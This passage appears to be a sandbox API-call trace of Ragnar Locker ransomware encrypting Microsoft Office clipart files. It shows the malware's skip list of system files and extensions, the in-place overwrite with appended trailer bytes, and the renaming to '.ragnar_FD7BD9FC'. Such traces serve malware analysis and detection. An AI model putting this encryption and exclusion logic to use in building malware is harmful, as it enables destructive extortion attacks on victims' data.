lpFileSize=0x1eaf7c*=24778) returned 1 [0080.195] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x60c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.195] GetProcessHeap () returned 0x580000 [0080.195] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.196] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.197] VirtualAlloc (lpAddress=0x0, dwSize=0x60ca, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.197] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.197] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.197] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x60ca, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x60ca, lpOverlapped=0x0) returned 1 [0080.201] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.201] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x60ca, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.201] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x60ca, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x60ca, lpOverlapped=0x0) returned 1 [0080.201] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x60ca, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.201] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.201] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x60ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.201] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.201] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.202] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.202] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.202] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.202] GetProcessHeap () returned 0x580000 [0080.202] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.202] CloseHandle (hObject=0xf4) returned 1 [0080.202] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" [0080.202] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.ragnar_FD7BD9FC" [0080.202] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.203] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0080.203] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.203] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD08808_.WMF" | out: lpString1="BD08808_.WMF") returned="BD08808_.WMF" [0080.203] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned=".WMF" [0080.203] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.203] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="autorun.inf") returned 1 [0080.203] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="boot.ini") returned -1 [0080.203] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="bootfont.bin") returned -1 [0080.203] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="bootsect.bak") returned -1 [0080.203] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="bootmgr") returned -1 [0080.203] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="bootmgr.efi") returned -1 [0080.203] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.203] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="desktop.ini") returned -1 [0080.203] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="iconcache.db") returned -1 [0080.203] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="ntldr") returned -1 [0080.203] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="ntuser.dat") returned -1 [0080.203] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.203] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="ntuser.ini") returned -1 [0080.203] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="thumbs.db") returned -1 [0080.203] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.203] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.204] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.204] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.204] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.204] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.204] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0080.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.204] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=47996) returned 1 [0080.204] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbb73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.204] GetProcessHeap () returned 0x580000 [0080.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.204] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.206] VirtualAlloc (lpAddress=0x0, dwSize=0xbb7c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.206] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.206] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.206] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbb7c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbb7c, lpOverlapped=0x0) returned 1 [0080.208] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.208] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbb7c, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.208] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbb7c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbb7c, lpOverlapped=0x0) returned 1 [0080.208] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbb7c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.208] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.209] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbb7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.209] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.209] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.209] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.209] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.209] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.209] GetProcessHeap () returned 0x580000 [0080.209] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.209] CloseHandle (hObject=0xf4) returned 1 [0080.209] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" [0080.209] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.ragnar_FD7BD9FC" [0080.209] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.210] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0080.210] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.210] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD08868_.WMF" | out: lpString1="BD08868_.WMF") returned="BD08868_.WMF" [0080.210] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned=".WMF" [0080.210] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.210] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="autorun.inf") returned 1 [0080.210] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="boot.ini") returned -1 [0080.210] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="bootfont.bin") returned -1 [0080.210] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="bootsect.bak") returned -1 [0080.210] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="bootmgr") returned -1 [0080.210] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="bootmgr.efi") returned -1 [0080.210] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.210] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="desktop.ini") returned -1 [0080.210] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="iconcache.db") returned -1 [0080.210] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="ntldr") returned -1 [0080.210] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="ntuser.dat") returned -1 [0080.210] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.210] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="ntuser.ini") returned -1 [0080.210] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="thumbs.db") returned -1 [0080.210] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.210] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.211] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.211] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.211] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.211] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.211] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0080.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.211] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=40206) returned 1 [0080.211] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9d05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.211] GetProcessHeap () returned 0x580000 [0080.211] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.211] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.213] VirtualAlloc (lpAddress=0x0, dwSize=0x9d0e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.213] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.213] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.213] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9d0e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9d0e, lpOverlapped=0x0) returned 1 [0080.214] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.215] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9d0e, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.215] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9d0e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9d0e, lpOverlapped=0x0) returned 1 [0080.215] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9d0e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.215] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.215] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9d0e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.215] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.215] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.215] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.216] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.216] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.216] GetProcessHeap () returned 0x580000 [0080.216] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.216] CloseHandle (hObject=0xf4) returned 1 [0080.216] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" [0080.216] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.ragnar_FD7BD9FC" [0080.216] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.217] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0080.217] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.217] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD09031_.WMF" | out: lpString1="BD09031_.WMF") returned="BD09031_.WMF" [0080.217] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned=".WMF" [0080.217] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.217] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="autorun.inf") returned 1 [0080.217] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="boot.ini") returned -1 [0080.217] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="bootfont.bin") returned -1 [0080.217] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="bootsect.bak") returned -1 [0080.217] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="bootmgr") returned -1 [0080.217] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="bootmgr.efi") returned -1 [0080.217] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.217] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="desktop.ini") returned -1 [0080.217] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="iconcache.db") returned -1 [0080.217] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="ntldr") returned -1 [0080.217] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="ntuser.dat") returned -1 [0080.217] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.217] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="ntuser.ini") returned -1 [0080.217] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="thumbs.db") returned -1 [0080.217] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.217] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.217] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.218] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.218] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.218] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.218] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0080.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.218] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=47786) returned 1 [0080.218] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbaa1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.218] GetProcessHeap () returned 0x580000 [0080.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.218] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.220] VirtualAlloc (lpAddress=0x0, dwSize=0xbaaa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.220] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, 